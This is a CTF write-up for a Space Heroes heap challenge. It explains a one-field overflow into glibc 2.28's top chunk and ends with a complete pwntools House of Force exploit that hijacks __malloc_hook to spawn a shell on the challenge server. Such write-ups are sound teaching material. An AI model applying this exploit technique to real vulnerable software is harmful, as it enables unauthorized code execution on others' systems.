Use the Force Luke

noobhacker

Challenge Description

nc 0.cloud.chals.io 11996

Author: cdmann

Hint: Anyone interested in heap exploitation should check out Max Kamper’s courses on Udemy. They go on discount frequently!

TL;DR

Binary gives system and heap address; heap overflow into size of top chunk, use House of Force to get shell.

Writeup

This was a hard challenge worth 392 points in the end from Space Heroes CTF. We are given a zip file with the following contents and an instance.

$ unzip -l force.zip
Archive:  force.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2022-03-25 23:19   force/
     8880  2022-02-10 22:11   force/force
        0  2022-03-24 21:47   force/.glibc/
        0  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/
  1373376  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/ld.so.2
 17087400  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/libc-2.28.so
        0  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/malloc/
   182618  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/malloc/malloc.c
 17087400  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/libc.so.6
  1373376  2022-02-10 19:34   force/.glibc/glibc_2.28_no-tcache/ld-2.28.so
---------                     -------
 37113050                     10 files

So, glibc 2.28 with no tcache, and malloc.c indicates towards a heap exploit.

Running this binary gives the following output:

$ ./force
"This is our chance to destroy the Death Star, Luke"
You feel a system at 0x7fa5211fdb70
You feel something else at 0x138c000
(1) Reach out with the force
(2) Surrender
1
How many midi-chlorians?: 10
What do you feel?: AAAAAAA
(1) Reach out with the force
(2) Surrender
2

Classic heap challenge. Let’s open this up in ghidra.

undefined8 main(void) {
  // Note that the variables have been renamed already.
  long usable_size;
  long in_FS_OFFSET;
  int choice;
  int i;
  size_t size;
  void *chunk1;
  void *chunk;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("\"This is our chance to destroy the Death Star, Luke\"");
  printf("You feel a system at %p\n",system);
  chunk1 = malloc(0x88);
  printf("You feel something else at %p\n",(long)chunk1 + -0x10);
  free(chunk1);
  for (i = 0; i < 4; i = i + 1) {
    puts("(1) Reach out with the force");
    puts("(2) Surrender");
    __isoc99_scanf(&percent_u,&choice);
    if (choice == 2) break;
    printf("How many midi-chlorians?: ");
    __isoc99_scanf(&percent_llu,&size);
    printf("What do you feel?: ");
    chunk = malloc(size);
    usable_size = malloc_usable_size(chunk);
    read(0,chunk,usable_size + 8);
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
  __stack_chk_fail();
}

Fairly straightforward. The binary gives the address of system, which we can use to find the base of libc and the string “/bin/sh” inside it. Interestingly, it also allocates a chunk and gives the address of chunk-0x10, ie. the start of the heap. This chunk is subsequently freed and coalesced with the top chunk.

Next, we have the option to quit the program or allocate a chunk, and we are able to only allocate 4 chunks and also can’t free them. Further, the binary reads in 8 bytes more than the actual size of the chunk, giving us an overflow into the size field of the top chunk.

Strategy

Since we are able to change the size of the top chunk, and the binary uses libc version 2.28, we can do a House of Force attack.

The hint points towards courses by Max Kamper, and this particular attack is also exhibited by him in this video on YouTube.

Plan:

  1. Allocate a chunk and overwrite size of top chunk to the max value possible, ie. 0xffffffffffffffff or -1. This makes malloc believe the top chunk will be able to service requests of abnormally large sizes, which is usually not the case. This is the essence of the House of Force technique, you can learn more from how2heap’s github repo or https://heap-exploitation.dhavalkapil.com/attacks/house_of_force.
  2. Allocate a chunk of size: target_addr - top_chunk - 2 * (sizeof (void*)) - 8. target_addr is the target we want to overwrite, in our case the malloc hook. We subtract 2 * sizeof(void*) to take care of the prev_size and size fields of our chunk. The last 8 is buffer.
  3. Allocate a chunk. Malloc will return a pointer to the target, so we are able to overwrite the malloc hook easily. Make __malloc_hook point to system.
  4. Allocate a chunk with size as the address of the string “/bin/sh” in the process memory of libc. Since we have overwritten __malloc_hook to point to system, any call to malloc is equivalent to a call to system, and since system will treat the first argument as char* pointer, it follows that: malloc(0x41414141) = system(char* 0x41414141), if 0x41414141 is the address of “/bin/sh”.

Exploit

The full exploit is given below:

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF('./force')
libc = ELF('./.glibc/glibc_2.28_no-tcache/libc-2.28.so')
# io = gdb.debug([elf.path])
io = remote('0.cloud.chals.io', 11996)

io.readline()
system = int(io.readline().strip().split(b' ')[-1], 16)
log.success(f'Leaked system: {hex(system)}')
libc.address = system - libc.symbols.system
log.success(f'Libc base: {hex(system)}')
heap = int(io.readline().strip().split(b' ')[-1], 16)
log.success(f'Leaked heap: {hex(heap)}')

def get_chunk(size, data):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.sendline(data)

get_chunk(0x10, b'A'*0x18+pack(-1))
top_chunk_addr = heap + 0x20

request_size = libc.symbols.__malloc_hook - top_chunk_addr - 2 * 8 - 8
get_chunk(request_size, '')
get_chunk(0x10, pack(system))
get_chunk(next(libc.search(b'/bin/sh\x00')), '')

io.interactive()
exploit